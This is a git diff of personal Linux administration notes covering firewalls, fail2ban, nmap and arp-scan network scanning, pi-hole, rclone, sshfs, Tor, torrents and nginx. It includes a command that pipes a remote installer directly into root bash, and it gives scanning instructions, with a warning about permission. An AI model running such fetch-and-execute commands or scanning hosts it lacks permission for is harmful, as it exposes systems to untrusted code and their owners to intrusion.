echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
```
Reboot to have changes take effect. Reboot to have changes take effect.

View File

@ -4,9 +4,7 @@ tags: [ "Documentation", "Networking" ]
--- ---
# SSH Daemon Jail # SSH Daemon Jail
```bash > sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
```
``` ```
[sshd] [sshd]
@ -16,17 +14,11 @@ ignoreip = 127.0.0.1/8 ::1,192.168.0.0/16 ::1
``` ```
```bash > sudo systemctl restart fail2ban
sudo systemctl restart fail2ban
```
```bash > sudo fail2ban-client status
sudo fail2ban-client status
```
```bash > sudo fail2ban-client status sshd
sudo fail2ban-client status sshd
```

View File

@ -4,23 +4,23 @@ tags: [ "Documentation" ]
--- ---
Set up a file like this, called `troubleshooting.txt`. Set up a file like this, called `troubleshooting.txt`.
> [ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ] ```
> [ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ]
> [ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
>
> [ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
>
> [ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
>
> [ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
>
> [ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
[ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
[ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
[ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
[ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
[ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
```
Then translate it with: Then translate it with:
```bash > graph-easy troubleshooting.txt --as boxart
graph-easy troubleshooting.txt --as boxart
```
``` ```
@ -37,20 +37,14 @@ graph-easy troubleshooting.txt --as boxart
Many options allow different displays. Many options allow different displays.
Try placing this in a file: Try placing this in a file:
> [ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; } ```
> [ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; }
> [ One ] => { arrow-style: closed; } [ Three ] [ One ] => { arrow-style: closed; } [ Three ]
> [ Five ] { fill: maroon; color: yellow; } <=> [ Three ]
> [ Five ] { fill: maroon; color: yellow; } <=> [ Three ] [ One ] .. Test\n label ..> [ Four ]
> [ Three ] { border-style: dashed; }
> [ One ] .. Test\n label ..> [ Four ] .. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; }
> [ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
> [ Three ] { border-style: dashed; } [ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
> [ no Network ] --> [ Is there an IP address? ]
> .. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; } ```
>
> [ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
>
> [ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
>
> [ no Network ] --> [ Is there an IP address? ]

View File

@ -8,9 +8,7 @@ This is a basic Linux firewall program.
Look at your firewalls: Look at your firewalls:
```bash > iptables -L
iptables -L
```
We see the output of input, output and forwarding rules. We see the output of input, output and forwarding rules.
@ -18,27 +16,19 @@ We see the output of input, output and forwarding rules.
I don't need any forwarding, so I'm going to drop all forwarding: I don't need any forwarding, so I'm going to drop all forwarding:
```bash > iptables -P FORWARD DROP
iptables -P FORWARD DROP
```
# Input # Input
Let's 'A'dd, or 'A'ppend a rule with -A. Let's drop all input from a nearby IP Let's 'A'dd, or 'A'ppend a rule with -A. Let's drop all input from a nearby IP
```bash > iptables -A INPUT -s 192.168.0.23 -j DROP
iptables -A INPUT -s 192.168.0.23 -j DROP
```
Or we can block all input from a particular port on the full Network. Or we can block all input from a particular port on the full Network.
```bash > iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
```
```bash > iptables -A INPUT --dport 80 -j ACCEPT
iptables -A INPUT --dport 80 -j ACCEPT
```
This allows http traffic to an Apache web server over port 80. This allows http traffic to an Apache web server over port 80.
@ -47,15 +37,11 @@ However, rules are accepted in order - so a packet cannot be rejected and then a
To delete rule 2 from the INPUT chain: To delete rule 2 from the INPUT chain:
```bash > iptables -D INPUT 3
iptables -D INPUT 3
```
Alternatively, you can 'I'nsert a rule at the start, rather than 'A'ppending it. Alternatively, you can 'I'nsert a rule at the start, rather than 'A'ppending it.
```bash > iptables -I INPUT -s 192.168.0.13 DROP
iptables -I INPUT -s 192.168.0.13 DROP
```
# Catchalls # Catchalls
@ -67,9 +53,7 @@ The -j flag accepts ACCEPT/REJECT/DROP. The last two are identical except that
Flush all existing rules with: Flush all existing rules with:
```bash > iptables -F
iptables -F
```
# Examples # Examples

View File

@ -0,0 +1,94 @@
---
title: "protocols"
tags: [ "Documentation", "Networking" ]
---
# Protocols
| TCP | UDP | ICMP |
|:-----------------|:-----------------|:------------------|
|Transmission Control Protocol | User Datagram Protocol | Internet Control Message Protocol |
| Reliable and slow. | Fast but unreliable, such as VOIP. Provides checksums. | Dirty checks such as pings. |
# Networking Addressing
## IPv4
Three address ranges pertain only to private Networks, so no computer looks beyond the local router to resolve them:
10.0.0.0 to 10.255.255.255
172.16.0.0 to 172.31.255.255
192.168.0.0 to 192.168.255.255
In theory, Networks should fall within one of 3 ranges, depending upon their first octet:
Class A 1-127
Class B 128 to 191
Class C 192 to 223
# Service Ports
There are three types of port ranges:
1 to 1023: Well-known and established ports.
1024 to 49151 ICANN registered ports, used by various products, with limited oversight.
49152 to 65535 Dynamic ports for ad hoc use.
View a more complete list of ports with:
> less /etc/services
# ip
Show all addresses with:
> ip a{dd{ress}} s{how}
If a link's not present, load it with:
sudo ip link set dev wlp3s0 up
Add an interface to a device as so:
> sudo ip a add 192.168.0.15/255.255.255.0 dev eth1
See Network interfaces available on Fedora with:
> less /etc/sysconfig/Network-scripts/ifcfg-enp2s0f0
or on Debian with:
> less /etc/Network/interfaces
Mostly, interfaces will receive automatic addresses from a DHCP server. If this hasn't happened for you, you can request a dhcp address with:
> sudo dhclient eth1
View your current route to the internet with:
> route
... although on void this is:
> routel
If you don't have a route to the internet, you can manually specify the default gateway with:
> sudo route add default gw 192.168.0.1
... or ...
> sudo ip route add default via 192.168.0.1

View File

@ -0,0 +1,141 @@
---
title: "Networking"
tags: [ "Documentation", "Networking", "ip" ]
---
# You
Check how your computer connects to the net:
> ip address show
```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UP group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 84:3a:4b:ca:5c:24 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
valid_lft 199143sec preferred_lft 172143sec
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
valid_lft forever preferred_lft forever
4: wwp0s20u4i6: <BROADCAST,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether fa:cd:4d:28:ec:dc brd ff:ff:ff:ff:ff:ff
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
valid_lft forever preferred_lft forever
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
valid_lft forever preferred_lft forever
```
That's too much output to read, so try:
> ip address show | grep inet
```
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
```
The starting numbers tell you about the address. You just have to memorize the meanings:
| Address Prefix | Meaning |
|:---:|:---:|
| 127.X | The computer's name for itself, for when you want to ssh into your own machine |
| ::1/128 | Same thing, with ipv6 |
| 192.168.X | A small Network address, given by a DHCP server (possibly your router) |
| 169.X | The interface to the internet wasn't given an ip address, so it's made up its own |
# `arp-scan`
Look around your local Network with `arp-scan`.
> sudo arp-scan -l
```
Interface: wlp3s0, type: EN10MB, MAC: 84:3a:4b:ca:5c:24, IPv4: 192.168.0.13
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 0c:02:27:bc:aa:a1 Technicolor CH USA Inc.
192.168.0.15 b8:27:eb:4a:cd:d9 Raspberry Pi Foundation
192.168.0.10 dc:0b:34:94:5c:c4 LG Electronics (Mobile Communications)
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 3 responded
```
The interface here was `wlp3s0`. It starts with 'w', so it's a wifi card. Each internet adapter has a name, called a 'MAC address' in order to identify itself to outsiders. The first three parts of a MAC address are given by the manufacturer (like a family name), and the rest are just for that one device.
The '192.168.0.1' address ends in '.1', so it's probably a router. The manufacturer is 'Technicolor' (`arp-scan` has identified this from the first digits of the MAC: '0c:02:27').
Next is 192.168.0.15, which is labelled as a 'raspberry pi'. Finally, the '.10' address is a mobille phone.
Mac addresses are easy to fake, so don't trust this output to keep you safe.
# `nmap`
Look around your entire Network from 192.168.0.1 to 192.168.0.255:
> sudo nmap -F 192.168.0.1/24
The `-F` means 'do this fast, by only scanning normal traffic' (ports below 1000).
```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-09 13:52 CET
Nmap scan report for 192.168.0.1
Host is up (0.011s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 0C:02:27:BC:AA:A1 (Technicolor CH USA)
Nmap scan report for 192.168.0.10
Host is up (0.0040s latency).
All 100 scanned ports on 192.168.0.10 are closed
MAC Address: DC:0B:34:94:7C:C4 (LG Electronics (Mobile Communications))
Nmap scan report for belgradecats (192.168.0.15)
Host is up (0.0096s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
MAC Address: B8:27:EB:4A:CD:D9 (Raspberry Pi Foundation)
Nmap scan report for 192.168.0.13
Host is up (0.0000080s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (4 hosts up) scanned in 5.34 seconds
```
Network traffic is split into different types of information. Each one gets a number called a 'port'. Most of this information is dead, so only a few ports are used nowadays.
The first one shows port 80, so you can visit it on a web browser. The next shows 53 (so it's handing out names of local computers) and 22 (so you can access it via ssh).
You can scan outside addresses with:
> sudo nmap facebook.com
However, when you scan something, that machine will see you, and you may set off alerts, which then have to bother whoever's looking after that address.
So if you want to try out nmap from outside, find a place you have permission to scan (like your own external IP address), or try:
> sudo nmap hack.me
The hack.me website doesn't mind people scanning.

View File

@ -5,9 +5,7 @@ tags: [ "Documentation", "Networking" ]
Example: Example:
```bash > nmap 192.168.1.1/24
nmap 192.168.1.1/24
```
Flags: Flags:
@ -17,6 +15,7 @@ Flags:
Look for a web server, which has ports 80 and 443 open: Look for a web server, which has ports 80 and 443 open:
```bash > nmap 192.168.1.1/24 -p 80,443 --open
nmap 192.168.1.1/24 -p 80,443 --open
```

View File

@ -6,54 +6,37 @@ tags: [ "Documentation", "Distros" ]
## Arch ## Arch
```bash > yay -S pi-hole-server
yay -S pi-hole-server
```
```bash > sudo systemctl enable --now pihole-FTL
sudo systemctl enable --now pihole-FTL
```
```bash > sudo systemctl disable --now systemd-resolved
sudo systemctl disable --now systemd-resolved
```
```bash > sudo rm -f /dev/shm/FTL-\*
sudo rm -f /dev/shm/FTL-\*
```
## Debian ## Debian
Debian has a long, boring setup. Debian has a long, boring setup.
```bash > sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash > curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash
```
# Setup # Setup
```bash > sudo usermod -aG pihole $USER
sudo usermod -aG pihole $USER
```
Remove that google dns server. Remove that google dns server.
```bash > pihole -a setdns 9.9.9.9 1.0.0.1
pihole -a setdns 9.9.9.9 1.0.0.1
```
Disable pihole password by setting a blank password. Disable pihole password by setting a blank password.
```bash > pihole -a -p
pihole -a -p
```
Get a new list of blocked domains, then reload: Get a new list of blocked domains, then reload:
```bash > pihole -g -r
pihole -g -r
```
Every so often, run `pihole -g` again (perhaps put it in crontab). Every so often, run `pihole -g` again (perhaps put it in crontab).
@ -61,15 +44,11 @@ Every so often, run `pihole -g` again (perhaps put it in crontab).
Observe the pihole's output while you ask it a question: Observe the pihole's output while you ask it a question:
```bash > pihole -t
pihole -t
```
Then ask the question from another computer: Then ask the question from another computer:
```bash > dig @[ pihole ip ] archlinux.org
dig @[ pihole ip ] archlinux.org
```
## System-Wide Setup ## System-Wide Setup

View File

@ -2,26 +2,20 @@
title: "pip" title: "pip"
tags: [ "Documentation", "Networking" ] tags: [ "Documentation", "Networking" ]
--- ---
```
Searching does not work. Searching does not work.
Install with: Install with:
```bash > pip install [ package ]
pip install [ package ]
```
Upgrade all packages Upgrade all packages
```bash > pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
```
# Troubleshooting # Troubleshooting
You may need a python3 package. You may need a python3 package.
In this case, try: In this case, try:
```bash > pip3 install [ package ]
pip3 install [ package ]

View File

@ -3,77 +3,53 @@ title: "rclone"
tags: [ "Documentation", "Networking" ] tags: [ "Documentation", "Networking" ]
--- ---
The manpage's 'Synopsis' provides a fast reference. The manpage's 'Synopsis' provides a fast reference.
```
We'll assume a folder in Google Drive called 'test', and local folder called 'foo'. We'll assume a folder in Google Drive called 'test', and local folder called 'foo'.
Generate a config file with: Generate a config file with:
```bash > rclone config
rclone config
```
Look at the contents of Google Drive: Look at the contents of Google Drive:
```bash > rclone ls gd:/
rclone ls gd:/
```
If rclone loses authorization: If rclone loses authorization:
```bash > rclone authorization
rclone authorization
```
List only directories: List only directories:
```bash > rclone lsf -dirs-only google:/
rclone lsf -dirs-only google:/
```
Mount the remote location on /tmp/google with: Mount the remote location on /tmp/google with:
```bash > rclone mount google /tmp/google
rclone mount google /tmp/google
```
Copy the contents of 'foo' to 'test'. Copy the contents of 'foo' to 'test'.
```bash > rclone copy foo/ google:test
rclone copy foo/ google:test
```
Sync contents of foo and test with a progress bar (will delete Google items): Sync contents of foo and test with a progress bar (will delete Google items):
```bash > rclone sync foo google:test -P
rclone sync foo google:test -P
```
Remove all duplicates Remove all duplicates
```bash > rclone dedupe google:test
rclone dedupe google:test
```
Delete contets of a remote file: Delete contets of a remote file:
```bash > rclone delete n:test
rclone delete n:test
```
Or delete the folder and contents as well: Or delete the folder and contents as well:
```bash > rclone purge n:test
rclone purge n:test
```
Copy to and from with: Copy to and from with:
```bash > rclone copyto google:test foo
rclone copyto google:test foo
```
or or
```bash > rclone copyto foo google:test
rclone copyto foo google:test

View File

@ -4,27 +4,19 @@ tags: [ "Documentation", "Scraping" ]
--- ---
Install `yt-dlp`. Install `yt-dlp`.
```bash > yt-dlp --write-auto-sub *<URL>*
yt-dlp --write-auto-sub *<URL>*
```
It will default to English, but you can specify another language with the flag --sub-lang: It will default to English, but you can specify another language with the flag --sub-lang:
```bash > youtube-dl --sub-lang sv --write-auto-sub *<URL>*
youtube-dl --sub-lang sv --write-auto-sub *<URL>*
```
You can list all available subtitles with: You can list all available subtitles with:
```bash > yt-dlp --list-subs *<URL>*
yt-dlp --list-subs *<URL>*
```
It's also possible to skip the video and only download the subtitle if you add the flag --skip-download: It's also possible to skip the video and only download the subtitle if you add the flag --skip-download:
```bash > yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
```
## Alternative ## Alternative

View File

@ -1,86 +1,58 @@
--- ---
title: "Agate on Arch Linux" title: "agate"
tags: [ "Documentation", "Networking", "Arch", "Gemini" ] tags: [ "Documentation", "Networking" ]
---
Make sure your dns is in order.
My domain name is `malinfreeborn.com`, so put your own in there.
Install agate by placing the binary somewhere or (on Arch):
> yay -S agate
--- ---
Docs are [here](https://github.com/mbrubeck/agate). > sudo mkdir -p /usr/share/gemini/{certs,gemini}
You will need DNS set up before proceeding. > sudo useradd gemini -d /usr/share/gemini
Install agate. > sudo chown -R gemini:gemini /usr/share/gemini
`yay -S agate` > sudo su gemini
Be root! > cd
In my case the domain is 'splint.rs'. > echo 'Hello Gemworld!' > gemini/index.gmi
`DOMAIN1=splint.rs` Make a service file.
You can set up any number of domain names. > sudo vim /etc/systemd/system/multi-user.target.wants/agate.service
`DOMAIN2=ttrpgs.com` Start agate once to make the certificates.
Make a directory to serve the gemini files from: > agate --content /usr/share/gemini/gemini --hostname malinfreeborn.com --lang en-GB
`GEMDIR=/srv/gemini`
`mkdir -p $GEMDIR/$DOMAIN1`
`mkdir -p $GEMDIR/$DOMAIN2`
Put at least one gemini file into the directory:
``` ```
echo Welcome to $DOMAIN1 > $GEMDIR/$DOMAIN1/index.gmi [Unit]
echo Welcome to $DOMAIN2 > $GEMDIR/$DOMAIN2/index.gmi Description=agate
``` After=Network.target
Set a language variable: [Service]
User=gemini
Type=simple
ExecStart=/usr/bin/agate --content /usr/share/gemini/gemini --hostname malinfreeborn.com --lang en-GB
`LANG=en_GB` [Install]
WantedBy=default.target
You need to run the agate command once interactively, in order to create certs:
``` ```
agate --content $GEMDIR --certs $GEMDIR/.certs \
--addr [::]:1965 --addr 0.0.0.0:1965
--hostname $DOMAIN1 --hostname $DOMAIN2
--lang $LANG
```
Once that works, it's time to make a service file; select any name for it: > sudo systemctl daemon-reload
`SVFILE=st` > sudo systemctl enable --now agate
```
echo "
CONTENT=--content $GEMDIR
CERT=--certs $GEMDIR/.certs
ADDR=--addr [::]:1965 --addr 0.0.0.0:1965
HOSTNAME=--hostname $DOMAIN1 --hostname $DOMAIN2
LANG=--lang $LANG
" > $SVFILE.conf
```
Check the service file has all those variables and looks right: # Redirection
`cat $SVFILE.conf` Indicate a permanent move by placing this file in the root of the capsule:
Now move it into the agate config directory:
`mv $SVFILE.conf /etc/agate/`
And finally, start the service:
```
systemctl daemon-reload
systemctl enable --now agate@$SVFILE.conf
```
Your Gemini capsule should be available, and you should be able to see any access in the logs:
```
journalctl -xeu agate@$SVFILE.conf
```
> index.gmi: 31 gemini://splint.rs

View File

@ -1,44 +0,0 @@
---
title: "dns"
tags: [ "networking", "host" ]
---
| Record | Type | Example |
|:-----------:|:--------------------|:---------------------------------------|
| A Record | IPv4 Address | "$domain".com |
| AAAA Record | IPv4 Address | "$domain".com |
| CNAME | Alternative Address | "$domain".rs, "$subdomain.$domain".com |
| NS | Nameserver | ns1.fastname.com |
| MX | Email server | "$domain".com |
| TXT | Literally anything,including ownership of a domain | |
| | | |
Query a host with the `host` command.
```bash
host $domain.$tld
```
```bash
host $domain.$tld 9.9.9.9
```
> dmz.rs has address 77.105.27.232
> dmz.rs mail is handled by 10 kralizec.dmz.rs.
> dmz.rs mail is handled by 20 splint.rs.
This shows the MX record has a secondary handler, called splint.rs.
You can also add a specific nameserver:
Request a specific record type (`CNAME`, `TXT`, et c.):
```bash
torsocks host -T -t $RECORD_TYPE $domain
```
## Troubleshooting
The `host` command uses UDP.
You can change to TCP by using `host -T`.

View File

@ -4,9 +4,7 @@ tags: [ "Documentation", "Networking" ]
--- ---
# Mount # Mount
```bash > sshfs alfred@192.168.0.14:Sync/Alfred
sshfs $USER@$IP_ADDRESS:$DIR
```
Various flags: Various flags:
@ -15,7 +13,5 @@ Various flags:
# Unmount # Unmount
```bash > fusermount3 -u Sync/Alfred
fusermount3 -u $DIR
```

View File

@ -5,25 +5,17 @@ tags: [ "Documentation", "Networking", "ssh", "tricks" ]
Mount a remote filesystem locally with fuse-sshfs: Mount a remote filesystem locally with fuse-sshfs:
```bash > sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
```
Unmount with: Unmount with:
```bash > fusermount -u /tmp/mnt
fusermount -u /tmp/mnt
```
Set it up on /etc/fstab with: Set it up on /etc/fstab with:
```bash > sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
```
Make image backup of sda1 and sda2 from one machine and pass it through ssh to another. Make image backup of sda1 and sda2 from one machine and pass it through ssh to another.
```bash > for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done
for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done
```

View File

@ -5,9 +5,7 @@ tags: [ "Documentation", "Networking" ]
# Get a hostname # Get a hostname
```bash > sudo vim /etc/tor/torrc
sudo vim /etc/tor/torrc
```
Uncomment the lines about `/var/lib/tor/hidden_services`, including port 22 (or whatever); restart tor, then go to that directory, and cat the hostname. Uncomment the lines about `/var/lib/tor/hidden_services`, including port 22 (or whatever); restart tor, then go to that directory, and cat the hostname.

View File

@ -4,16 +4,21 @@ tags: [ "Documentation", "Networking", "Torrenting" ]
--- ---
# Torrench # Torrench
Search for a torrent, e.g. 'sita sings the blues'. Torrench searches for torrents.
It breaks a lot, so if it's not working, the problem is probably in the program.
Search for 'sita sings the blues' with:
> torrench 'sita sings the blues'
Copy the magnet link. Copy the magnet link.
It looks like this: It looks like this:
> magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969 `magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969`
But you only need this bit (up until the `&` character): But you only need this bit (up until the `&` character):
> magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa `magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa`
# Transmission # Transmission
@ -22,40 +27,28 @@ Install it then start the service.
Arch Linux: Arch Linux:
```bash > sudo systemctl start transmission
sudo systemctl start transmission
```
Debian: Debian:
```bash > sudo systemctl start transmission-daemon
sudo systemctl start transmission-daemon
```
Add a torrent by the .torrent file, or a magnet link, like this: Add a torrent by the .torrent file, or a magnet link, like this:
```bash > transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
```
```bash > transmission-remote -a sita.torrent
transmission-remote -a sita.torrent
```
Now let's check that the torrent's been added successfully. Now let's check that the torrent's been added successfully.
```bash > transmission-remote -l
transmission-remote -l
```
To see the torrents, go to /var/lib/transmission/Downloads To see the torrents, go to /var/lib/transmission/Downloads
If you don't have permission, either add the directory to the group made for your username, or add yourself to the `:transmission` group, or otherwise make sure that you can read that directory, and the user `transmission` can read, write and execute. If you don't have permission, either add the directory to the group made for your username, or add yourself to the `:transmission` group, or otherwise make sure that you can read that directory, and the user `transmission` can read, write and execute.
E.g.: E.g.:
```bash > sudo usermod -aG transmission $USER
sudo usermod -aG transmission $USER
```
Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2`). Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2`).
@ -63,17 +56,13 @@ Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2
If you don't want to have a file active as a torrent, get it's number with `transmission-remote -l`, then, if it were number '4', do: If you don't want to have a file active as a torrent, get it's number with `transmission-remote -l`, then, if it were number '4', do:
```bash > transmission-remote -t 4 -r
transmission-remote -t 4 -r
```
You can now move the file, and the torrent will not be confused. You can now move the file, and the torrent will not be confused.
To both **r**emove **a**nd **d**elete a file, use `-rad`: To both **r**emove **a**nd **d**elete a file, use `-rad`:
```bash > transmission-remote -t 4 -rad
transmission-remote -t 4 -rad
```
# Moving Torrents # Moving Torrents
@ -82,57 +71,5 @@ If the file is in your home - `~` - but `transmission` is not allowed in your ho
Next, find the torrent's number. You can use multiple numbers, separated with a comma: Next, find the torrent's number. You can use multiple numbers, separated with a comma:
```bash > transmission-remote -t 3,5,8 --move /home/alice/music
transmission-remote -t 3,5,8 --move /home/alice/music
```
## Change Default Location
The `transmission` user has a home configuration file, like any other user, with all the transmission settings.
```bash
cd /var/lib/transmission/.config/transmission-daemon/
$EDITOR settings.json
```
Change the `download-dir` value to wherever you want the torrents to go.
# Creating Torrents
Transmission always needs the full path to every file, and the daemon will need permission to view the file.
When it doubt, just place the files in `transmission`'s home directory.
Create a torrent of file or directory `Memes` with:
```bash
sudo chown -R :transmission Memes
transmission-create $(pwd)/Memes
```
Add a tracker to the torrent, to make sure others can find you easily:
```bash
transmission-create --comment 'My Memes collection' -t 'udp://tracker.publicbt.com:80' -t 'udp://tracker.openbittorrent.com:80' --anonymize Memes
```
Without the `--anonymize` flag, the torrent file output will have a 'created by' and 'created date'.
## Open Trackers
- udp://tracker.opentrackr.org:1337/announce
- udp://opentracker.i2p.rocks:6969/announce
- https://opentracker.i2p.rocks:443/announce
- udp://tracker.openbittorrent.com:6969/announce
- http://tracker.openbittorrent.com:80/announce
- udp://9.rarbg.com:2810/announce
- udp://open.demonii.com:1337/announce
- udp://exodus.desync.com:6969/announce
- udp://tracker.moeking.me:6969/announce
- https://tracker.tamersunion.org:443/announce
- udp://tracker1.bt.moack.co.kr:80/announce
- udp://tracker.bitsearch.to:1337/announce
- udp://p4p.arenabg.com:1337/announce
- udp://explodie.org:6969/announce
- https://tracker.gbitt.info:443/announce
- http://tracker.gbitt.info:80/announce

View File

@ -7,19 +7,13 @@ tags: [ "Documentation", "Networking" ]
If not, try checking out what your local Networking interfaces are, then check if they have been picked up: If not, try checking out what your local Networking interfaces are, then check if they have been picked up:
```bash > dmesg | grep eth0
dmesg | grep eth0
```
# Display Active Ports # Display Active Ports
```bash > netstat -l
netstat -l
```
...or maybe narrow it down to http: ...or maybe narrow it down to http:
```bash > netstat -l | grep http
netstat -l | grep http
```

View File

@ -4,37 +4,25 @@ tags: [ "Documentation", "Networking" ]
--- ---
Install nginx: Install nginx:
```bash > sudo apt-get install nginx
sudo apt-get install nginx
```
```bash > sudo apt-get enable --now nginx
sudo apt-get enable --now nginx
```
Put a website somewhere: Put a website somewhere:
```bash > mkdir /var/www/html/mysite/
mkdir /var/www/html/mysite/
```
Put an index file there: Put an index file there:
```bash > vim /var/www/html/mysite/index.html
vim /var/www/html/mysite/index.html
```
Make the owner `www-data` Make the owner `www-data`
```bash > chown -R www-data:www-data /var/www/html/mysite/
chown -R www-data:www-data /var/www/html/mysite/
```
Make a configuration file for nginx: Make a configuration file for nginx:
```bash > vim /etc/nginx/sites-available/mysite.conf
vim /etc/nginx/sites-available/mysite.conf
```
``` ```
@ -49,20 +37,15 @@ server {
try_files $uri $uri/ =404; try_files $uri $uri/ =404;
} }
} }```
```
Make the site available: Make the site available:
```bash > ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
```
Test it's working: Test it's working:
```bash > nginx -t
nginx -t
```
## Troubleshooting ## Troubleshooting
@ -82,19 +65,13 @@ Buy some DNS online, then check it's working.
*Once it's working*, use certbot: *Once it's working*, use certbot:
```bash > apt install certbot
apt install certbot
```
You may need to install an nginx python module: You may need to install an nginx python module:
```bash > apt install python3-certbot-nginx
apt install python3-certbot-nginx
```
